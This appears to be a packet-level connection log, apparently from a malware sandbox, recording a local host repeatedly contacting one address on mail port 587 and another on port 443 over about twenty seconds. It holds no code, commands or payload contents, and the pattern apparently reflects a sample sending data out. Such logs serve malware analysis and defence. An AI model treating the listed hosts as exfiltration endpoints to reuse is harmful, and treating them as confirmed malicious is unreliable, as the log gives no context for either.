Sep 19, 2024 12:23:42.524475098 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:42.681396008 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:42.681601048 CEST	61627	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:42.686476946 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:42.727781057 CEST	443	61628	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:42.727967024 CEST	443	61628	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:42.728753090 CEST	61628	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:42.728753090 CEST	61628	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:42.732224941 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:42.737354040 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:42.744224072 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:43.418534994 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:43.418764114 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:43.423690081 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:43.577435970 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:43.577665091 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:43.582539082 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:43.739062071 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:43.739300013 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:43.744122028 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:44.815325022 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:44.815500021 CEST	61627	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:44.815594912 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:44.819210052 CEST	61627	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:44.820393085 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:44.975677967 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:44.980225086 CEST	61627	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:44.985032082 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.157860994 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.158163071 CEST	61627	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:45.160888910 CEST	61630	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.160936117 CEST	443	61630	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:45.160993099 CEST	61630	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.161317110 CEST	61630	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.161330938 CEST	443	61630	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:45.163372040 CEST	587	61627	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.163417101 CEST	61627	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:45.466655970 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.466823101 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:45.471623898 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.627495050 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.627643108 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:45.632553101 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.779208899 CEST	443	61630	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:45.781431913 CEST	61630	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.781486988 CEST	443	61630	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:45.781555891 CEST	61630	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.781578064 CEST	443	61630	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:45.803284883 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.803541899 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:45.806905031 CEST	61631	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.806950092 CEST	443	61631	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:45.807029963 CEST	61631	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.807343960 CEST	61631	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:45.807358980 CEST	443	61631	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:45.808856010 CEST	587	61629	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:45.808912039 CEST	61629	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:46.117634058 CEST	443	61630	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:46.117818117 CEST	443	61630	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:46.118304014 CEST	61630	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:46.118928909 CEST	61630	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:46.122458935 CEST	61632	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:46.127271891 CEST	587	61632	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:46.130800962 CEST	61632	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:46.415543079 CEST	443	61631	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:46.417416096 CEST	61631	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:46.417448997 CEST	443	61631	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:46.417751074 CEST	61631	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:46.417757034 CEST	443	61631	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:46.684505939 CEST	587	61632	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:46.684768915 CEST	61632	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:46.689898014 CEST	587	61632	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:46.736778021 CEST	443	61631	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:46.736895084 CEST	443	61631	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:46.737081051 CEST	61631	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:46.738419056 CEST	61631	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:46.738426924 CEST	61633	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:46.747009993 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:46.747306108 CEST	61633	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:46.841156006 CEST	587	61632	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:46.842761040 CEST	61632	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:46.848683119 CEST	587	61632	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.294374943 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.294504881 CEST	61633	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:47.299624920 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.452532053 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.452779055 CEST	61633	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:47.457662106 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.610874891 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.611074924 CEST	61633	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:47.615974903 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.791496992 CEST	61633	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:47.794755936 CEST	61634	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:47.794811010 CEST	443	61634	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:47.794872046 CEST	61634	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:47.795137882 CEST	61634	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:47.795155048 CEST	443	61634	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:47.796679974 CEST	587	61633	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:47.796725035 CEST	61633	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:49.239495039 CEST	443	61634	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.241617918 CEST	61634	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.241672993 CEST	443	61634	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.241717100 CEST	61634	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.241728067 CEST	443	61634	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.558322906 CEST	443	61634	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.558439016 CEST	443	61634	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.558516026 CEST	61634	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.558984995 CEST	61634	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.560868979 CEST	61635	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:49.565649986 CEST	587	61635	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:49.565713882 CEST	61635	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:49.650942087 CEST	61632	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:49.654422045 CEST	61636	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.654470921 CEST	443	61636	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.654527903 CEST	61636	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.654827118 CEST	61636	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.654841900 CEST	443	61636	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.656095982 CEST	587	61632	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:49.656148911 CEST	61632	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:49.713430882 CEST	61635	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:49.716439009 CEST	61637	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.716536999 CEST	443	61637	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.716614962 CEST	61637	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.716875076 CEST	61637	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:49.716917038 CEST	443	61637	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:49.718322992 CEST	587	61635	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:49.718360901 CEST	61635	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:50.274398088 CEST	443	61636	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.278521061 CEST	61636	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.278542042 CEST	443	61636	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.278749943 CEST	61636	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.278755903 CEST	443	61636	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.353425026 CEST	443	61637	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.355778933 CEST	61637	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.355844975 CEST	443	61637	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.356698990 CEST	61637	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.356720924 CEST	443	61637	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.599792957 CEST	443	61636	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.599992037 CEST	443	61636	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.600167990 CEST	61636	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.600509882 CEST	61636	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.604260921 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:50.609080076 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:50.612364054 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:50.656160116 CEST	443	61637	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.656232119 CEST	443	61637	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:50.660540104 CEST	61637	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.660761118 CEST	61637	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:50.664263010 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:50.669091940 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:50.669589996 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:51.158401966 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.158540964 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:51.168329954 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.246782064 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.246927977 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:51.252908945 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.319607973 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.320455074 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:51.326167107 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.408229113 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.408404112 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:51.413183928 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.477423906 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.477699995 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:51.482604980 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.571041107 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:51.571269989 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:51.576072931 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.470848083 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.471021891 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:53.476866961 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.525876045 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.525986910 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:53.530859947 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.635034084 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.635298967 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:53.640412092 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.864763975 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.864907026 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:53.865803003 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:53.866014957 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:53.869293928 CEST	61640	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:53.869327068 CEST	443	61640	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:53.869432926 CEST	61640	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:53.869725943 CEST	61640	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:53.869735003 CEST	443	61640	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.047863960 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:54.047924042 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:54.048151970 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:54.048214912 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:54.049463034 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:54.050386906 CEST	587	61639	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:54.050442934 CEST	61639	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:54.218976021 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:54.219254971 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:54.224212885 CEST	587	61638	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:54.224256992 CEST	61641	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.224299908 CEST	443	61641	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.224333048 CEST	61638	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:54.227555990 CEST	61641	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.227555990 CEST	61641	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.227586985 CEST	443	61641	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.660305977 CEST	443	61640	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.664745092 CEST	61640	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.664757967 CEST	443	61640	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.664990902 CEST	61640	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.664997101 CEST	443	61640	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.899277925 CEST	443	61641	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.908263922 CEST	61641	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.908291101 CEST	443	61641	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.911660910 CEST	61641	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.911668062 CEST	443	61641	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.970920086 CEST	443	61640	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.971117020 CEST	443	61640	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:54.971842051 CEST	61640	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.971842051 CEST	61640	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:54.974328995 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:54.979190111 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:54.983278990 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:55.274707079 CEST	443	61641	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:55.274771929 CEST	443	61641	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:55.274818897 CEST	61641	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:55.275373936 CEST	61641	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:55.276830912 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:55.282313108 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.282368898 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:55.532394886 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.532547951 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:55.538500071 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.687222958 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.687401056 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:55.695169926 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.845078945 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.845366001 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:55.850147963 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.859055042 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:55.859282017 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:55.864130974 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:56.019311905 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:56.019567013 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:56.024389982 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:56.192042112 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:56.196293116 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:56.201129913 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.184030056 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.186950922 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.187799931 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.190340996 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.192810059 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.346004963 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.346237898 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.351100922 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.360615969 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.361329079 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.366080046 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.518626928 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.519229889 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.523624897 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.524272919 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.524468899 CEST	587	61642	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.526071072 CEST	61642	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.529464960 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.536710978 CEST	61644	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:58.536766052 CEST	443	61644	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:58.537189960 CEST	61644	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:58.537189960 CEST	61644	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:58.537229061 CEST	443	61644	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:58.704483032 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.710923910 CEST	61645	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:58.710927963 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:58.710999966 CEST	443	61645	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:58.711357117 CEST	61645	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:58.711358070 CEST	61645	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:58.711447954 CEST	443	61645	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:58.715954065 CEST	587	61643	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:58.720273018 CEST	61643	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:59.156359911 CEST	443	61644	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.158199072 CEST	61644	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.158274889 CEST	443	61644	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.158334970 CEST	61644	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.158358097 CEST	443	61644	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.348571062 CEST	443	61645	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.350904942 CEST	61645	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.350967884 CEST	443	61645	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.351038933 CEST	61645	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.351058960 CEST	443	61645	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.470107079 CEST	443	61644	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.470213890 CEST	443	61644	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.470280886 CEST	61644	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.470789909 CEST	61644	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.472227097 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:59.477163076 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:59.477236986 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:59.648921013 CEST	443	61645	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.648983955 CEST	443	61645	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:59.649051905 CEST	61645	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.649491072 CEST	61645	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:59.650911093 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:59.659365892 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:59.659429073 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:00.045005083 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.045279026 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:00.050273895 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.208137035 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.213181019 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.213299036 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:00.218782902 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:00.221344948 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.225068092 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.373162031 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.375402927 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:00.378757954 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.379089117 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:00.381534100 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.385005951 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.532694101 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:00.533298016 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:00.538520098 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.529666901 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.530534029 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:02.533288956 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.534852982 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:02.535295010 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.539710999 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.685805082 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.687134981 CEST	61647	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:02.693471909 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.694431067 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.694785118 CEST	61646	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:02.699889898 CEST	587	61646	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.967334032 CEST	587	61647	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:02.968831062 CEST	587	61646	208.91.198.143	192.168.2.5
